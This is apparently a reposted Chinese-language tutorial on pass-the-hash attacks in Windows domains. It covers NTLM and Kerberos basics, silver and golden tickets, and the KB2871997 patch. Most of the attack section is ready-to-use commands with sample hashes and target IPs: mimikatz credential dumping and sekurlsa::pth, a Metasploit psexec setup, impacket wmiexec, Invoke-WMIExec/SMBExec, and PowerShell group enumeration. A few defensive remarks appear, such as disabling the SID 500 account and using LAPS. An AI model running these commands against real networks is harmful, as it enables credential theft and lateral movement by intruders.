域滲透-憑據傳遞攻擊(pass the hash)完全總結


總結下PtH具體形式(wmicexec、powershell、msf等)

 

 

 

 

 

0x01 PtH攻擊原理 && 黃金白銀票據

 

PtH攻擊原理

wiki  https://en.wikipedia.org/wiki/Pass_the_hash 寫的也很清楚 

 

其中重要的是windows使用系統API(LsaLogonUser)生成hash進行認證,而不是用明文,所以利用hash即可模擬用戶登錄進行操作。還有的是如果密碼長度大於15就不存在LM Hash,從windows2008開始微軟默認禁用LM hash。

 

這也就很好理解pth的原理了。

 

 

 

Windows Server 2008啟用LM hash的方法:

gpedit.msc-計算機配置-Windows 設置-安全設置-本地策略-安全選項

找到網絡安全︰ 不要在下次更改密碼存儲 LAN 管理器的哈希值,選擇已禁用

 

系統下一次更改密碼后,就能夠導出LM hash

 

 

接下里回顧下kerberos認證過程 ,區別白銀票據和黃金票據區別。

 

 

 

 kerberos認證粗略流程:

  1. client向kerberos服務請求,希望獲取訪問server的權限。 kerberos得到了這個消息,首先得判斷client是否是可信賴的, 也就是白名單黑名單的說法。這就是AS服務完成的工作,通過 在AD中存儲黑名單和白名單來區分client。認證成功后,KDC此時生成一個隨機字符串,叫Session Key,使用用戶名對應的NTLM Hash加密Session Key,作為AS數據,使用KDC中某個用戶(krbtgt)的NTLM Hash加密Session Key和客戶端的信息,生成TGT。      
  2. client得到了TGT后,繼續向kerberos請求,希望獲取訪問 server的權限。客戶端需要提供TGT與第一步中AS數據使用自己NTLM Hash解密出來的Session Key加密的客戶端信息跟時間戳。kerberos又得到了這個消息,這時候通過client 消息中的TGT,判斷出了client擁有了這個權限。驗證通過后,就會生成一個新的Session Key,我們稱之為Server Session Key,這個Server Session Key主要用於和服務器(不是KDC)進行通信。同時還會生成一個Ticket,也就是最后的票據了。給了client訪 問server的權限ticket(ST,也就是server hash,包含請求客戶端的主機名和客戶端信息加上server session key還有票據失效時間)
  3. client得到ticket后,終於可以成功訪問server。client會用Ticket,Server Session Key加密的客戶端信息與時間戳去請求server。這個ticket只是 針對這個server,其他server需要向TGS申請。

 

白銀票據(Silver Tickets)

白銀票據特點:

  • 1.不需要與KDC進行交互

  • 2.需要目標服務的NTLM Hash

在第三步認證中的Ticket的組成:

Ticket=Server Hash(Server Session Key+Client info+End Time)

當擁有Server Hash時,我們就可以偽造一個不經過KDC認證的一個Ticket

大多數服務不驗證PAC(通過將PAC校驗和發送到域控制器進行PAC驗證)

這里暫且不談pac的偽造。

 

 

 

 

黃金票據(Golden Tickets)

黃金票據特點:

  • 1.需要與DC通信

  • 2.需要krbtgt用戶的hash

這里的krbtgt hash就是之前講的KDC Hash

Kerberos黃金票據是有效的TGT Kerberos票據,因為它是由域Kerberos帳戶(KRBTGT)加密和簽名的  。TGT僅用於向域控制器上的KDC服務證明用戶已被其他域控制器認證。TGT被KRBTGT密碼散列加密並且可以被域中的任何KDC服務解密的。

 

 

 

 

 

 

 

 0x02 PtH 攻擊實現多種方法

首先先來看看歷史上微軟對pass the hash攻擊出的文檔:

http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf 

 

而我們需要關注的就是對於這種攻擊微軟的經典補丁:

kb2871997禁止本地管理員賬戶用於遠程連接,這樣就無法以本地管理員用戶的權限執行wmi、PSEXEC、schtasks、at和訪問文件共享。

這個補丁發布后常規的Pass The Hash已經無法成功,唯獨默認的 Administrator (SID 500)賬號例外,利用這個賬號仍可以進行Pass The Hash遠程連接。

並且值得注意的是即使administrator改名,它的SID仍然是500,這種攻擊方法依然有效。所以對於防御來說,即使打了補丁也要記得禁用SID=500的管理員賬戶

相關鏈接如下:
http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html

 

 現在也有手法對應pth,例如LAPS

 1)首先是mimikatz2.0

pass the key:

privilege::debug

sekurlsa::logonpasswords

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0

彈出cmd 這時候時候net use也可以了

net use \\192.168.5.3\c$

 

mimikatz資料中重點:

ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

 

ntlm散列在XP/2003/Vista/2008和7/2008r2/8/2012 安裝補丁kb2871997前是強制性的;AES密鑰只能用在8.1/2012r2安裝了kb2871997補丁的7/2008r2/8/2012上替換,在這種情況下可以避免ntlm散列。

mimikatz的pth功能需要本地管理員權限,這是由它的實現機制決定的,需要先獲得高權限進程lsass.exe的信息

這里拿windows r2原版 安裝kb2871997來實驗。

 

使用mimikatz先獲取hash:

mimikatz "privilege::debug" "sekurlsa::ekeys"

 

 

注意這里mimikatz是復制不了的

 

解決方法是使用日志記錄功能將回顯內容輸出到文件中,開啟日志記錄功能后會把輸出回顯的內容保存在同級目錄下的mimikatz.log中,命令參考如下:

mimikatz log privilege::debug sekurlsa::ekeys

 

 

 

       aes256_hmac       00842449e386b266f1bb945888de5696a913c3630f51997b2cd1395f3c6d99bf
       aes128_hmac       4bd64fecaa1438851981d52e574f27c2
       rc4_hmac_nt       dfe6e4a03f78f6b4ce617ed0ed1e5e53
       rc4_hmac_old      dfe6e4a03f78f6b4ce617ed0ed1e5e53
       rc4_md4           dfe6e4a03f78f6b4ce617ed0ed1e5e53
       rc4_hmac_nt_exp   dfe6e4a03f78f6b4ce617ed0ed1e5e53
       rc4_hmac_old_exp  dfe6e4a03f78f6b4ce617ed0ed1e5e53

 

 

 使用aes key  pass the key

 

成功

 

 注意這里是主機名 不是ip。

 

 

 

 

 2)meterpreter

使用經典模塊:

use exploit/windows/smb/psexec_psh

或者kali里集成的工具集 很多

這個模塊可以利用有效的管理員用戶名和密碼(或密碼哈希)來執行一個任意Payload,這個模塊跟SysInternals提供的“psexec”實用工具非常類似,而且該模塊現在還可以在攻擊完成之后自動清理痕跡。這款工具所創建的服務使用的是隨機選擇的用戶名及相關描述。

 

msf5 > use exploit/windows/smb/smb_
use exploit/windows/smb/smb_delivery  use exploit/windows/smb/smb_relay
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.5.3
rhosts => 192.168.5.3
msf5 exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf5 exploit(windows/smb/psexec) > set SMBPass 31d6cfe0d16ae931b73c59d7e0c089c0
SMBPass => 31d6cfe0d16ae931b73c59d7e0c089c0
msf5 exploit(windows/smb/psexec) > show options 

 

 

 

 

同樣的你可以用psexec 都是ok 的。

使用PSExec前提:SMB服務必須開啟以及可達。文件和打印機共享必須開啟,禁止簡單文件共享。 
Admin$必須可以訪問。PSExec使用的口令必須可以訪問Admin$共享。 
在PSExec可執行文件中含有一個Windows服務。它利用該服務並且在遠端機器上部署Admin$。然后通過SMB使用DCE/RPC接口來訪問Windows Service Control Manager API。然后在遠程主機中開啟PSExec訪問。然后PSExec服務創建一個命名管道,用它來發送命令。 

 

 

 3)wmiexec:

windows 管理規范[WMI]”,實際上就是windows從03/xp開始就一直內置的一個系統插件,其設計初衷之
一是為了管理員能更加方便的對遠程windows主機進行各種日常管理,它意味着我們可以直接在本地操作遠程目標機器上的進程,服
務,注冊表等其它的一系列的特權操作,嚴格來說它其實是為各種服務提供一個統一的調用接口而設計的。

python exe

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

exe版本下載地址:

https://github.com/maaaaz/impacket-examples-windows

注:

wmiexec.py的注釋中提示”Main advantage here is it runs under the user (has to be Admin) account”,經實際測試普通用戶權限即可

這里拿window2003標准版演示

wmiexec.exe -hashes 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 QING-31E5FF29B3/Administrator@192.168.5.9 "dir"

 

 

 powershell

 https://github.com/Kevin-Robertson/Invoke-TheHash/

使用Invoke-WMIExec:

官方用法:

 

Invoke-WMIExec -Target 192.168.5.9 -Domain QING-31E5FF29B3 -Username Administrator -Hash 32ed87bdb5fdc5e9cba88547376818d4 -Command "calc.exe" -verbose

 

 

另外還有Invoke-SMB等腳本都可以進行利用,利用方法也差不多一樣:

Invoke-SMBExec

支持SMB1, SMB2 (2.1), and SMB signing

Invoke-SMBExec -Target 192.168.3.21 -Domain QING-31E5FF29B3
-Username Administrator -Hash 32ed87bdb5fdc5e9cba88547376818d4 -Command "calc.exe" -verbose

通過在目標主機創建服務執行命令,所以權限為system

Invoke-SMBClient

支持SMB1, SMB2 (2.1), and SMB signing,如果只有SMB文件共享的權限,沒有遠程執行權限,可以使用該腳本。

支持的功能包括列舉目錄、上傳文件、下載文件、刪除文件(具體權限取決於該口令hash的權限)

 

擁有票據后繼續信息收集即可 如果有powershell,

powershell執行

查看Administrators組


   $members = @($([ADSI]”WinNT://WIN-6I39VTOHS15/Administrators”).psbase.Invoke(“Members”))
   $members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }

查看Domain Users組

$members = @($([ADSI]”WinNT://domian/Domain Users”).psbase.Invoke(“Members”))
$members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM